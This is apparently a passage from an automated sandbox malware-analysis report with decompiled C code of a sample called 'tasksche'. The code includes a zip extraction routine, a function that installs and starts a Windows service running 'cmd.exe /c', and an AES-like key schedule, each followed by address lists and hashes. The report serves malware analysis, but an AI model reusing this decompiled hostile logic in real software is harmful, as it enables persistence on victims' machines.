													_v40.dwLowDateTime = E00406B23(_v108 >> 0x10, _v108);
													_v40.dwHighDateTime = _t264;
													LocalFileTimeToFileTime( &_v40,  &_v32);
													_t173 = _v32.dwLowDateTime;
													_t234 = _v32.dwHighDateTime;
													_t212 = _v12;
													 *(_t281 + 0x10c) = _t173;
													 *(_t281 + 0x114) = _t173;
													 *(_t281 + 0x11c) = _t173;
													 *(_t281 + 0x110) = _t234;
													 *(_t281 + 0x118) = _t234;
													 *(_t281 + 0x120) = _t234;
													if(_v16 <= 4) {
														L57:
														if(_t212 != 0) {
															_push(_t212);
															L004076E8();
														}
														_t282 = _v24;
														memcpy(_t282 + 8, _t281, 0x12c);
														 *((intOrPtr*)(_t282 + 0x134)) = _a4;
														goto L60;
													} else {
														while(1) {
															_v12 =  *((intOrPtr*)(_t277 + _t212));
															_v10 = _v10 & 0x00000000;
															_v11 =  *((intOrPtr*)(_t212 + _t277 + 1));
															_a8 =  *(_t212 + _t277 + 2) & 0x000000ff;
															if(strcmp( &_v12, "UT") == 0) {
																break;
															}
															_t277 = _t277 + _a8 + 4;
															if(_t277 + 4 < _v16) {
																continue;
															}
															goto L57;
														}
														_t238 =  *(_t277 + _t212 + 4) & 0x000000ff;
														_t185 = _t238 >> 0x00000001 & 0x00000001;
														_t278 = _t277 + 5;
														_a11 = _t185;
														_v5 = _t238 >> 0x00000002 & 0x00000001;
														if((_t238 & 0x00000001) != 0) {
															_t271 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t194 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x11c) = E00406B02(_t271,  *_t194 & 0x000000ff | (0 << 0x00000008 | _t271) << 0x00000008);
															_t185 = _a11;
															 *(_t281 + 0x120) = _t271;
														}
														if(_t185 != 0) {
															_t270 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t190 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x10c) = E00406B02(_t270,  *_t190 & 0x000000ff | (0 << 0x00000008 | _t270) << 0x00000008);
															 *(_t281 + 0x110) = _t270;
														}
														if(_v5 != 0) {
															_t269 =  *(_t278 + _t212 + 1) & 0x000000ff;
															 *(_t281 + 0x114) = E00406B02(_t269,  *(_t278 + _t212) & 0x000000ff | (0 << 0x00000008 | _t269) << 0x00000008);
															 *(_t281 + 0x118) = _t269;
														}
														goto L57;
													}
												}
												goto L31;
											}
										}
										_t274 =  &(_t274[2]);
										goto L21;
									}
									_push(_v12);
									L004076E8();
									goto L19;
								}
								return 0x700;
							}
							E00406520(_t133);
							L11:
							_pop(_t213);
							goto L12;
						}
						E004064E2(_t213, _t132);
						goto L11;
					}
					goto L8;
				} else {
					if(_t272 == _t208) {
						L8:
						_t204 = _a8;
						 *_t204 =  *((intOrPtr*)( *_t280 + 4));
						 *((char*)(_t204 + 4)) = 0;
						 *((intOrPtr*)(_t204 + 0x108)) = 0;
						 *((intOrPtr*)(_t204 + 0x10c)) = 0;
						 *((intOrPtr*)(_t204 + 0x110)) = 0;
						 *((intOrPtr*)(_t204 + 0x114)) = 0;
						 *((intOrPtr*)(_t204 + 0x118)) = 0;
						 *((intOrPtr*)(_t204 + 0x11c)) = 0;
						 *((intOrPtr*)(_t204 + 0x120)) = 0;
						 *((intOrPtr*)(_t204 + 0x124)) = 0;
						 *((intOrPtr*)(_t204 + 0x128)) = 0;
						L60:
						return 0;
					}
					memcpy(_a8, _t280 + 8, 0x12c);
					goto L60;
				}
			}


















































                                                                                                0x00406c40
                                                                                                0x00406c40
                                                                                                0x00406c4c
                                                                                                0x00406c4f
                                                                                                0x00406c52
                                                                                                0x00406c56
                                                                                                0x00406c59
                                                                                                0x00407064
                                                                                                0x00000000
                                                                                                0x00407064
                                                                                                0x00406c5f
                                                                                                0x00406c64
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00406c6d
                                                                                                0x00406c70
                                                                                                0x00406c75
                                                                                                0x00406c75
                                                                                                0x00406c7c
                                                                                                0x00406c7f
                                                                                                0x00406ca0
                                                                                                0x00406cec
                                                                                                0x00406cf1
                                                                                                0x00406cfa
                                                                                                0x00406cfa
                                                                                                0x00406cff
                                                                                                0x00406d21
                                                                                                0x00406d3e
                                                                                                0x00406d52
                                                                                                0x00406d5c
                                                                                                0x00406d89
                                                                                                0x00000000
                                                                                                0x00406d89
                                                                                                0x00406d5e
                                                                                                0x00406d61
                                                                                                0x00406d68
                                                                                                0x00406d7e
                                                                                                0x00406d95
                                                                                                0x00406d9b
                                                                                                0x00406dab
                                                                                                0x00406db0
                                                                                                0x00406db8
                                                                                                0x00406dbe
                                                                                                0x00406dbe
                                                                                                0x00406dbe
                                                                                                0x00406dc2
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00406dd0
                                                                                                0x00406dd6
                                                                                                0x00000000
                                                                                                0x00406dd9
                                                                                                0x00406ddf
                                                                                                0x00406de5
                                                                                                0x00406e11
                                                                                                0x00406e11
                                                                                                0x00406e11
                                                                                                0x00000000
                                                                                                0x00406e11
                                                                                                0x00406ded
                                                                                                0x00406df3
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00406dfb
                                                                                                0x00406e01
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00406e09
                                                                                                0x00406e0f
                                                                                                0x00406e1b
                                                                                                0x00406e20
                                                                                                0x00406e28
                                                                                                0x00406e2c
                                                                                                0x00406e3c
                                                                                                0x00406e3e
                                                                                                0x00406e41
                                                                                                0x00406e44
                                                                                                0x00406e46
                                                                                                0x00406e61
                                                                                                0x00406e6b
                                                                                                0x00406e6d
                                                                                                0x00406e78
                                                                                                0x00406e7a
                                                                                                0x00406e7c
                                                                                                0x00406e7c
                                                                                                0x00406e7e
                                                                                                0x00406e82
                                                                                                0x00406e88
                                                                                                0x00406e8a
                                                                                                0x00406e8a
                                                                                                0x00406e96
                                                                                                0x00406e98
                                                                                                0x00406e98
                                                                                                0x00406ea3
                                                                                                0x00406ea5
                                                                                                0x00406ea5
                                                                                                0x00406eae
                                                                                                0x00406eb0
                                                                                                0x00406eb0
                                                                                                0x00406ebb
                                                                                                0x00406ebd
                                                                                                0x00406ebd
                                                                                                0x00406eca
                                                                                                0x00406ed3
                                                                                                0x00406ee6
                                                                                                0x00406ef2
                                                                                                0x00406ef5
                                                                                                0x00406efb
                                                                                                0x00406efe
                                                                                                0x00406f05
                                                                                                0x00406f08
                                                                                                0x00406f0e
                                                                                                0x00406f14
                                                                                                0x00406f1a
                                                                                                0x00406f20
                                                                                                0x00406f26
                                                                                                0x00406f2c
                                                                                                0x00407037
                                                                                                0x00407039
                                                                                                0x0040703b
                                                                                                0x0040703c
                                                                                                0x00407041
                                                                                                0x00407048
                                                                                                0x0040704f
                                                                                                0x0040705a
                                                                                                0x00000000
                                                                                                0x00406f32
                                                                                                0x00406f32
                                                                                                0x00406f3a
                                                                                                0x00406f41
                                                                                                0x00406f45
                                                                                                0x00406f4d
                                                                                                0x00406f5d
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00406f62
                                                                                                0x00406f6c
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00406f6e
                                                                                                0x00406f73
                                                                                                0x00406f81
                                                                                                0x00406f86
                                                                                                0x00406f89
                                                                                                0x00406f8f
                                                                                                0x00406f92
                                                                                                0x00406f94
                                                                                                0x00406f99
                                                                                                0x00406f9e
                                                                                                0x00406fba
                                                                                                0x00406fc0
                                                                                                0x00406fc4
                                                                                                0x00406fc4
                                                                                                0x00406fcc
                                                                                                0x00406fce
                                                                                                0x00406fd3
                                                                                                0x00406fd8
                                                                                                0x00406ff4
                                                                                                0x00406ffb
                                                                                                0x00406ffb
                                                                                                0x00407005
                                                                                                0x00407007
                                                                                                0x0040702a
                                                                                                0x00407031
                                                                                                0x00407031
                                                                                                0x00000000
                                                                                                0x00407005
                                                                                                0x00406f2c
                                                                                                0x00000000
                                                                                                0x00406e0f
                                                                                                0x00406dd0
                                                                                                0x00406dcb
                                                                                                0x00000000
                                                                                                0x00406dcb
                                                                                                0x00406d80
                                                                                                0x00406d83
                                                                                                0x00000000
                                                                                                0x00406d88
                                                                                                0x00000000
                                                                                                0x00406d40
                                                                                                0x00406d02
                                                                                                0x00406cf9
                                                                                                0x00406cf9
                                                                                                0x00000000
                                                                                                0x00406cf9
                                                                                                0x00406cf4
                                                                                                0x00000000
                                                                                                0x00406cf4
                                                                                                0x00000000
                                                                                                0x00406c81
                                                                                                0x00406c83
                                                                                                0x00406ca2
                                                                                                0x00406ca7
                                                                                                0x00406caa
                                                                                                0x00406cae
                                                                                                0x00406cb1
                                                                                                0x00406cb7
                                                                                                0x00406cbd
                                                                                                0x00406cc3
                                                                                                0x00406cc9
                                                                                                0x00406ccf
                                                                                                0x00406cd5
                                                                                                0x00406cdb
                                                                                                0x00406ce1
                                                                                                0x00407060
                                                                                                0x00000000
                                                                                                0x00407060
                                                                                                0x00406c91
                                                                                                0x00000000
                                                                                                0x00406c96

                                                                                                APIs
                                                                                                • memcpy.MSVCRT(?,?,0000012C,?), ref: 00406C91
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: memcpy
                                                                                                • String ID: /../$/..\$\../$\..\
                                                                                                • API String ID: 3510742995-3885502717
                                                                                                • Opcode ID: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                                                                                                • Instruction ID: 8d35de4500b3f4065ad8a7d009fa2f60231b6be20ed9f01f65d9d1a3966dd706
                                                                                                • Opcode Fuzzy Hash: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                                                                                                • Instruction Fuzzy Hash: 98D147729082459FDB15CF68C881AEABBF4EF05300F15857FE49AB7381C738A915CB98
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00401CE8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75serviceCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 100%
                                                                                                			E00401CE8(intOrPtr _a4) {
				void* _v8;
				int _v12;
				void* _v16;
				char _v1040;
				void* _t12;
				void* _t13;
				void* _t31;
				int _t32;

				_v12 = 0;
				_t12 = OpenSCManagerA(0, 0, 0xf003f);
				_v8 = _t12;
				if(_t12 != 0) {
					_t13 = OpenServiceA(_t12, 0x40f8ac, 0xf01ff);
					_v16 = _t13;
					if(_t13 == 0) {
						sprintf( &_v1040, "cmd.exe /c \"%s\"", _a4);
						_t31 = CreateServiceA(_v8, 0x40f8ac, 0x40f8ac, 0xf01ff, 0x10, 2, 1,  &_v1040, 0, 0, 0, 0, 0);
						if(_t31 != 0) {
							StartServiceA(_t31, 0, 0);
							CloseServiceHandle(_t31);
							_v12 = 1;
						}
						_t32 = _v12;
					} else {
						StartServiceA(_t13, 0, 0);
						CloseServiceHandle(_v16);
						_t32 = 1;
					}
					CloseServiceHandle(_v8);
					return _t32;
				}
				return 0;
			}











                                                                                                0x00401cfb
                                                                                                0x00401cfe
                                                                                                0x00401d06
                                                                                                0x00401d09
                                                                                                0x00401d21
                                                                                                0x00401d29
                                                                                                0x00401d2c
                                                                                                0x00401d54
                                                                                                0x00401d7b
                                                                                                0x00401d7f
                                                                                                0x00401d84
                                                                                                0x00401d8b
                                                                                                0x00401d91
                                                                                                0x00401d91
                                                                                                0x00401d98
                                                                                                0x00401d2e
                                                                                                0x00401d31
                                                                                                0x00401d3a
                                                                                                0x00401d42
                                                                                                0x00401d42
                                                                                                0x00401d9e
                                                                                                0x00000000
                                                                                                0x00401da7
                                                                                                0x00000000

                                                                                                APIs
                                                                                                • OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00401CFE
                                                                                                • OpenServiceA.ADVAPI32(00000000,0040F8AC,000F01FF), ref: 00401D21
                                                                                                • StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D31
                                                                                                • CloseServiceHandle.ADVAPI32(?), ref: 00401D3A
                                                                                                • CloseServiceHandle.ADVAPI32(?), ref: 00401D9E
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: Service$CloseHandleOpen$ManagerStart
                                                                                                • String ID: cmd.exe /c "%s"
                                                                                                • API String ID: 1485051382-955883872
                                                                                                • Opcode ID: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                                                                                                • Instruction ID: 93977d8af42d47d1d9866270745c8e9c50065656b45fe828c5c40e24baaa5e60
                                                                                                • Opcode Fuzzy Hash: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                                                                                                • Instruction Fuzzy Hash: 6411AF71900118BBDB205B659E4CE9FBF7CEF85745F10407AF601F21A0CA744949DB68
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00402A76 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 334COMMONCrypto
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 54%
                                                                                                			E00402A76(void* __ecx, signed int _a4, void* _a6, void* _a7, signed int _a8, signed int _a12, signed char* _a16) {
				signed int _v8;
				signed int _v12;
				char _v24;
				int _t193;
				signed int _t198;
				int _t199;
				intOrPtr _t200;
				signed int* _t205;
				signed char* _t206;
				signed int _t208;
				signed int _t210;
				signed int* _t216;
				signed int _t217;
				signed int* _t220;
				signed int* _t229;
				void* _t252;
				void* _t280;
				void* _t281;
				signed int _t283;
				signed int _t289;
				signed int _t290;
				signed char* _t291;
				signed int _t292;
				void* _t303;
				void* _t313;
				intOrPtr* _t314;
				void* _t315;
				intOrPtr* _t316;
				signed char* _t317;
				signed char* _t319;
				signed int _t320;
				signed int _t322;
				void* _t326;
				void* _t327;
				signed int _t329;
				signed int _t337;
				intOrPtr _t338;
				signed int _t340;
				intOrPtr _t341;
				void* _t342;
				signed int _t345;
				signed int* _t346;
				signed int _t347;
				void* _t352;
				void* _t353;
				void* _t354;

				_t352 = __ecx;
				if(_a4 == 0) {
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t283 = _a12;
				_t252 = 0x18;
				_t342 = 0x10;
				if(_t283 != _t342 && _t283 != _t252 && _t283 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t193 = _a16;
				if(_t193 != _t342 && _t193 != _t252 && _t193 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_t193 =  &_v24;
					_push(0x40d570);
					_push(_t193);
					L0040776E();
				}
				 *(_t352 + 0x3cc) = _t193;
				 *(_t352 + 0x3c8) = _t283;
				memcpy(_t352 + 0x3d0, _a8, _t193);
				memcpy(_t352 + 0x3f0, _a8,  *(_t352 + 0x3cc));
				_t198 =  *(_t352 + 0x3c8);
				_t354 = _t353 + 0x18;
				if(_t198 == _t342) {
					_t199 =  *(_t352 + 0x3cc);
					if(_t199 != _t342) {
						_t200 = ((0 | _t199 != _t252) - 0x00000001 & 0xfffffffe) + 0xe;
					} else {
						_t200 = 0xa;
					}
					goto L17;
				} else {
					if(_t198 == _t252) {
						_t200 = ((0 |  *(_t352 + 0x3cc) == 0x00000020) - 0x00000001 & 0x000000fe) + 0xe;
						L17:
						 *((intOrPtr*)(_t352 + 0x410)) = _t200;
						L18:
						asm("cdq");
						_t289 = 4;
						_t326 = 0;
						_a12 =  *(_t352 + 0x3cc) / _t289;
						if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
							L23:
							_t327 = 0;
							if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
								L28:
								asm("cdq");
								_t290 = 4;
								_t291 = _a4;
								_t345 = ( *((intOrPtr*)(_t352 + 0x410)) + 1) * _a12;
								_v12 = _t345;
								_t329 =  *(_t352 + 0x3c8) / _t290;
								_t205 = _t352 + 0x414;
								_v8 = _t329;
								if(_t329 <= 0) {
									L31:
									_a8 = _a8 & 0x00000000;
									if(_t329 <= 0) {
										L35:
										if(_a8 >= _t345) {
											L51:
											_t206 = 1;
											_a16 = _t206;
											if( *((intOrPtr*)(_t352 + 0x410)) <= _t206) {
												L57:
												 *((char*)(_t352 + 4)) = 1;
												return _t206;
											}
											_a8 = _t352 + 0x208;
											do {
												_t292 = _a12;
												if(_t292 <= 0) {
													goto L56;
												}
												_t346 = _a8;
												do {
													_t208 =  *_t346;
													_a4 = _t208;
													 *_t346 =  *0x0040ABFC ^  *0x0040AFFC ^  *0x0040B3FC ^  *(0x40b7fc + (_t208 & 0x000000ff) * 4);
													_t346 =  &(_t346[1]);
													_t292 = _t292 - 1;
												} while (_t292 != 0);
												L56:
												_a16 =  &(_a16[1]);
												_a8 = _a8 + 0x20;
												_t206 = _a16;
											} while (_t206 <  *((intOrPtr*)(_t352 + 0x410)));
											goto L57;
										}
										_a16 = 0x40bbfc;
										do {
											_t210 =  *(_t352 + 0x410 + _t329 * 4);
											_a4 = _t210;
											 *(_t352 + 0x414) =  *(_t352 + 0x414) ^ ((( *0x004089FC ^  *_a16) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t210 & 0x000000ff) + 0x4089fc) & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff;
											_a16 = _a16 + 1;
											if(_t329 == 8) {
												_t216 = _t352 + 0x418;
												_t303 = 3;
												do {
													 *_t216 =  *_t216 ^  *(_t216 - 4);
													_t216 =  &(_t216[1]);
													_t303 = _t303 - 1;
												} while (_t303 != 0);
												_t217 =  *(_t352 + 0x420);
												_a4 = _t217;
												_t220 = _t352 + 0x428;
												 *(_t352 + 0x424) =  *(_t352 + 0x424) ^ (( *0x004089FC << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t217 & 0x000000ff) + 0x4089fc) & 0x000000ff;
												_t313 = 3;
												do {
													 *_t220 =  *_t220 ^  *(_t220 - 4);
													_t220 =  &(_t220[1]);
													_t313 = _t313 - 1;
												} while (_t313 != 0);
												L46:
												_a4 = _a4 & 0x00000000;
												if(_t329 <= 0) {
													goto L50;
												}
												_t314 = _t352 + 0x414;
												while(_a8 < _t345) {
													asm("cdq");
													_t347 = _a8 / _a12;
													asm("cdq");
													_t337 = _a8 % _a12;
													 *((intOrPtr*)(_t352 + 8 + (_t337 + _t347 * 8) * 4)) =  *_t314;
													_a4 = _a4 + 1;
													_t345 = _v12;
													_t338 =  *_t314;
													_t314 = _t314 + 4;
													_a8 = _a8 + 1;
													 *((intOrPtr*)(_t352 + 0x1e8 + (_t337 + ( *((intOrPtr*)(_t352 + 0x410)) - _t347) * 8) * 4)) = _t338;
													_t329 = _v8;
													if(_a4 < _t329) {
														continue;
													}
													goto L50;
												}
												goto L51;
											}
											if(_t329 <= 1) {
												goto L46;
											}
											_t229 = _t352 + 0x418;
											_t315 = _t329 - 1;
											do {
												 *_t229 =  *_t229 ^  *(_t229 - 4);
												_t229 =  &(_t229[1]);
												_t315 = _t315 - 1;
											} while (_t315 != 0);
											goto L46;
											L50:
										} while (_a8 < _t345);
										goto L51;
									}
									_t316 = _t352 + 0x414;
									while(_a8 < _t345) {
										asm("cdq");
										_a4 = _a8 / _a12;
										asm("cdq");
										_t340 = _a8 % _a12;
										 *((intOrPtr*)(_t352 + 8 + (_t340 + _a4 * 8) * 4)) =  *_t316;
										_a8 = _a8 + 1;
										_t341 =  *_t316;
										_t316 = _t316 + 4;
										 *((intOrPtr*)(_t352 + 0x1e8 + (_t340 + ( *((intOrPtr*)(_t352 + 0x410)) - _a4) * 8) * 4)) = _t341;
										_t329 = _v8;
										if(_a8 < _t329) {
											continue;
										}
										goto L35;
									}
									goto L51;
								}
								_a8 = _t329;
								do {
									_t317 =  &(_t291[1]);
									 *_t205 = ( *_t291 & 0x000000ff) << 0x18;
									 *_t205 =  *_t205 | ( *_t317 & 0x000000ff) << 0x00000010;
									_t319 =  &(_t317[2]);
									 *_t205 =  *_t205 |  *_t319 & 0x000000ff;
									_t291 =  &(_t319[1]);
									_t205 =  &(_t205[1]);
									_t60 =  &_a8;
									 *_t60 = _a8 - 1;
								} while ( *_t60 != 0);
								goto L31;
							}
							_t280 = _t352 + 0x1e8;
							do {
								_t320 = _a12;
								if(_t320 > 0) {
									memset(_t280, 0, _t320 << 2);
									_t354 = _t354 + 0xc;
								}
								_t327 = _t327 + 1;
								_t280 = _t280 + 0x20;
							} while (_t327 <=  *((intOrPtr*)(_t352 + 0x410)));
							goto L28;
						}
						_t281 = _t352 + 8;
						do {
							_t322 = _a12;
							if(_t322 > 0) {
								memset(_t281, 0, _t322 << 2);
								_t354 = _t354 + 0xc;
							}
							_t326 = _t326 + 1;
							_t281 = _t281 + 0x20;
						} while (_t326 <=  *((intOrPtr*)(_t352 + 0x410)));
						goto L23;
					}
					 *((intOrPtr*)(_t352 + 0x410)) = 0xe;
					goto L18;
				}
			}

















































                                                                                                0x00402a83
                                                                                                0x00402a85
                                                                                                0x00402a8e
                                                                                                0x00402a95
                                                                                                0x00402a9e
                                                                                                0x00402aa3
                                                                                                0x00402aa4
                                                                                                0x00402aa4
                                                                                                0x00402aa9
                                                                                                0x00402aae
                                                                                                0x00402ab1
                                                                                                0x00402ab4
                                                                                                0x00402ac2
                                                                                                0x00402ac6
                                                                                                0x00402acd
                                                                                                0x00402ad6
                                                                                                0x00402adb
                                                                                                0x00402adc
                                                                                                0x00402adc
                                                                                                0x00402ae1
                                                                                                0x00402ae6
                                                                                                0x00402af4
                                                                                                0x00402af8
                                                                                                0x00402aff
                                                                                                0x00402b05
                                                                                                0x00402b08
                                                                                                0x00402b0d
                                                                                                0x00402b0e
                                                                                                0x00402b0e
                                                                                                0x00402b14
                                                                                                0x00402b23
                                                                                                0x00402b2a
                                                                                                0x00402b3f
                                                                                                0x00402b44
                                                                                                0x00402b4a
                                                                                                0x00402b4f
                                                                                                0x00402b75
                                                                                                0x00402b7d
                                                                                                0x00402b92
                                                                                                0x00402b7f
                                                                                                0x00402b81
                                                                                                0x00402b81
                                                                                                0x00000000
                                                                                                0x00402b51
                                                                                                0x00402b53
                                                                                                0x00402b70
                                                                                                0x00402b94
                                                                                                0x00402b94
                                                                                                0x00402b9a
                                                                                                0x00402ba2
                                                                                                0x00402ba3
                                                                                                0x00402ba6
                                                                                                0x00402bae
                                                                                                0x00402bb1
                                                                                                0x00402bcf
                                                                                                0x00402bcf
                                                                                                0x00402bd7
                                                                                                0x00402bf8
                                                                                                0x00402c00
                                                                                                0x00402c01
                                                                                                0x00402c0b
                                                                                                0x00402c0e
                                                                                                0x00402c12
                                                                                                0x00402c15
                                                                                                0x00402c17
                                                                                                0x00402c1f
                                                                                                0x00402c22
                                                                                                0x00402c4e
                                                                                                0x00402c4e
                                                                                                0x00402c54
                                                                                                0x00402ca5
                                                                                                0x00402ca8
                                                                                                0x00402e04
                                                                                                0x00402e06
                                                                                                0x00402e0d
                                                                                                0x00402e10
                                                                                                0x00402e73
                                                                                                0x00402e73
                                                                                                0x00402e7b
                                                                                                0x00402e7b
                                                                                                0x00402e18
                                                                                                0x00402e1b
                                                                                                0x00402e1b
                                                                                                0x00402e20
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00402e22
                                                                                                0x00402e25
                                                                                                0x00402e25
                                                                                                0x00402e29
                                                                                                0x00402e59
                                                                                                0x00402e5b
                                                                                                0x00402e5e
                                                                                                0x00402e5e
                                                                                                0x00402e61
                                                                                                0x00402e61
                                                                                                0x00402e64
                                                                                                0x00402e68
                                                                                                0x00402e6b
                                                                                                0x00000000
                                                                                                0x00402e1b
                                                                                                0x00402cae
                                                                                                0x00402cb5
                                                                                                0x00402cb5
                                                                                                0x00402cbf
                                                                                                0x00402d05
                                                                                                0x00402d0b
                                                                                                0x00402d11
                                                                                                0x00402d34
                                                                                                0x00402d3a
                                                                                                0x00402d3b
                                                                                                0x00402d3e
                                                                                                0x00402d40
                                                                                                0x00402d43
                                                                                                0x00402d43
                                                                                                0x00402d46
                                                                                                0x00402d4e
                                                                                                0x00402d8f
                                                                                                0x00402d95
                                                                                                0x00402d9b
                                                                                                0x00402d9c
                                                                                                0x00402d9f
                                                                                                0x00402da1
                                                                                                0x00402da4
                                                                                                0x00402da4
                                                                                                0x00402da7
                                                                                                0x00402da7
                                                                                                0x00402dad
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00402daf
                                                                                                0x00402db5
                                                                                                0x00402dbf
                                                                                                0x00402dc3
                                                                                                0x00402dc8
                                                                                                0x00402dc9
                                                                                                0x00402dcf
                                                                                                0x00402ddb
                                                                                                0x00402dde
                                                                                                0x00402de4
                                                                                                0x00402de6
                                                                                                0x00402de9
                                                                                                0x00402dec
                                                                                                0x00402df3
                                                                                                0x00402df9
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00402df9
                                                                                                0x00000000
                                                                                                0x00402db5
                                                                                                0x00402d16
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00402d1c
                                                                                                0x00402d22
                                                                                                0x00402d25
                                                                                                0x00402d28
                                                                                                0x00402d2a
                                                                                                0x00402d2d
                                                                                                0x00402d2d
                                                                                                0x00000000
                                                                                                0x00402dfb
                                                                                                0x00402dfb
                                                                                                0x00000000
                                                                                                0x00402cb5
                                                                                                0x00402c56
                                                                                                0x00402c5c
                                                                                                0x00402c6a
                                                                                                0x00402c6e
                                                                                                0x00402c74
                                                                                                0x00402c75
                                                                                                0x00402c7e
                                                                                                0x00402c8b
                                                                                                0x00402c91
                                                                                                0x00402c93
                                                                                                0x00402c96
                                                                                                0x00402c9d
                                                                                                0x00402ca3
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00402ca3
                                                                                                0x00000000
                                                                                                0x00402c5c
                                                                                                0x00402c24
                                                                                                0x00402c27
                                                                                                0x00402c2d
                                                                                                0x00402c2e
                                                                                                0x00402c36
                                                                                                0x00402c3f
                                                                                                0x00402c43
                                                                                                0x00402c45
                                                                                                0x00402c46
                                                                                                0x00402c49
                                                                                                0x00402c49
                                                                                                0x00402c49
                                                                                                0x00000000
                                                                                                0x00402c27
                                                                                                0x00402bd9
                                                                                                0x00402bdf
                                                                                                0x00402bdf
                                                                                                0x00402be4
                                                                                                0x00402bea
                                                                                                0x00402bea
                                                                                                0x00402bea
                                                                                                0x00402bec
                                                                                                0x00402bed
                                                                                                0x00402bf0
                                                                                                0x00000000
                                                                                                0x00402bdf
                                                                                                0x00402bb3
                                                                                                0x00402bb6
                                                                                                0x00402bb6
                                                                                                0x00402bbb
                                                                                                0x00402bc1
                                                                                                0x00402bc1
                                                                                                0x00402bc1
                                                                                                0x00402bc3
                                                                                                0x00402bc4
                                                                                                0x00402bc7
                                                                                                0x00000000
                                                                                                0x00402bb6
                                                                                                0x00402b55
                                                                                                0x00000000
                                                                                                0x00402b55

                                                                                                APIs
                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402A95
                                                                                                • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402AA4
                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402ACD
                                                                                                • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402ADC
                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402AFF
                                                                                                • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402B0E
                                                                                                • memcpy.MSVCRT(?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B2A
                                                                                                • memcpy.MSVCRT(?,?,?,?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B3F
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
